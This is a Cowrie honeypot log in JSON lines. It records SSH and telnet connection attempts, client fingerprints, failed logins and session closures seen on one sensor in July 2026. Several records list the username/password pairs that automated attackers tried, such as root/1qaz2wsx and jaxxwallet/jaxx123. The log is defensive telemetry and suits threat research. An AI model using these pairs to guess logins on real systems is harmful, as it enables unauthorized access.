{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54094,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6f56d07b98c","protocol":"telnet","message":"New connection: 170.64.224.25:54094 (159.203.135.109:23) [session: e6f56d07b98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:11:52.082641Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":35846,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a8451c42dc9","protocol":"ssh","message":"New connection: 160.187.174.22:35846 (159.203.135.109:22) [session: 8a8451c42dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:11.577252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:11.580784Z","src_ip":"160.187.174.22","session":"8a8451c42dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:11.820873Z","src_ip":"160.187.174.22","session":"8a8451c42dc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:12.518441Z","src_ip":"160.187.174.22","session":"8a8451c42dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:13.750417Z","src_ip":"160.187.174.22","session":"8a8451c42dc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":43890,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c4d7dede616","protocol":"ssh","message":"New connection: 14.177.234.24:43890 (10.17.0.5:22) [session: 3c4d7dede616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:15.579475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:15.583328Z","src_ip":"14.177.234.24","session":"3c4d7dede616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:15.823300Z","src_ip":"14.177.234.24","session":"3c4d7dede616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc1234567890","message":"login attempt [root/Abc1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:16.813844Z","src_ip":"14.177.234.24","session":"3c4d7dede616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:18.056397Z","src_ip":"14.177.234.24","session":"3c4d7dede616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":47476,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ab79e108da6","protocol":"ssh","message":"New connection: 162.144.105.39:47476 (159.203.135.109:22) [session: 4ab79e108da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:21.106138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:21.110764Z","src_ip":"162.144.105.39","session":"4ab79e108da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:21.197134Z","src_ip":"162.144.105.39","session":"4ab79e108da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okx123","message":"login attempt [root/okx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:21.445928Z","src_ip":"162.144.105.39","session":"4ab79e108da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:22.529738Z","src_ip":"162.144.105.39","session":"4ab79e108da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.73305630683899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:23.815581Z","src_ip":"170.64.224.25","session":"e6f56d07b98c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":50866,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ff2448c1527","protocol":"ssh","message":"New connection: 198.1.93.192:50866 (10.17.0.5:22) [session: 3ff2448c1527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:27.090104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:27.093975Z","src_ip":"198.1.93.192","session":"3ff2448c1527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:27.182971Z","src_ip":"198.1.93.192","session":"3ff2448c1527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D3F1$Tr0ng@W0rd","message":"login attempt [root/D3F1$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:27.451549Z","src_ip":"198.1.93.192","session":"3ff2448c1527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:28.544729Z","src_ip":"198.1.93.192","session":"3ff2448c1527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.31410193443298,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:31.621096Z","src_ip":"170.64.224.25","session":"452602ee0565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8f4aa8e9a42","protocol":"ssh","message":"New connection: 162.144.88.94:46516 (10.17.0.5:22) [session: d8f4aa8e9a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:32.292409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:32.296473Z","src_ip":"162.144.88.94","session":"d8f4aa8e9a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:32.378382Z","src_ip":"162.144.88.94","session":"d8f4aa8e9a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaxxwallet","password":"jaxx123","message":"login attempt [jaxxwallet/jaxx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:32.630991Z","src_ip":"162.144.88.94","session":"d8f4aa8e9a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:34.286371Z","src_ip":"162.144.88.94","session":"d8f4aa8e9a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44734,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f6f45593de2","protocol":"ssh","message":"New connection: 160.187.174.22:44734 (159.203.135.109:22) [session: 4f6f45593de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:39.982418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:39.985985Z","src_ip":"160.187.174.22","session":"4f6f45593de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:40.227493Z","src_ip":"160.187.174.22","session":"4f6f45593de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44688,"dst_ip":"159.203.135.109","dst_port":22,"session":"962a5f83678e","protocol":"ssh","message":"New connection: 147.45.211.215:44688 (159.203.135.109:22) [session: 962a5f83678e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:40.382911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:40.389701Z","src_ip":"147.45.211.215","session":"962a5f83678e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:40.559651Z","src_ip":"147.45.211.215","session":"962a5f83678e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:40.957748Z","src_ip":"160.187.174.22","session":"4f6f45593de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbvf2000","message":"login attempt [root/lbvf2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:41.081074Z","src_ip":"147.45.211.215","session":"962a5f83678e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:42.201807Z","src_ip":"160.187.174.22","session":"4f6f45593de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:42.254318Z","src_ip":"147.45.211.215","session":"962a5f83678e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45168,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b7d4f3f47f2","protocol":"telnet","message":"New connection: 170.64.224.25:45168 (159.203.135.109:23) [session: 2b7d4f3f47f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:48.415995Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45172,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c0e002f339","protocol":"telnet","message":"New connection: 170.64.224.25:45172 (159.203.135.109:23) [session: f3c0e002f339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:12:50.303347Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55856,"dst_ip":"159.203.135.109","dst_port":22,"session":"f931cd4be143","protocol":"ssh","message":"New connection: 160.187.174.22:55856 (159.203.135.109:22) [session: f931cd4be143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:07.981298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:07.985731Z","src_ip":"160.187.174.22","session":"f931cd4be143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:08.224319Z","src_ip":"160.187.174.22","session":"f931cd4be143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp123","message":"login attempt [uftp/uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:08.939558Z","src_ip":"160.187.174.22","session":"f931cd4be143","protocol":"ssh"}
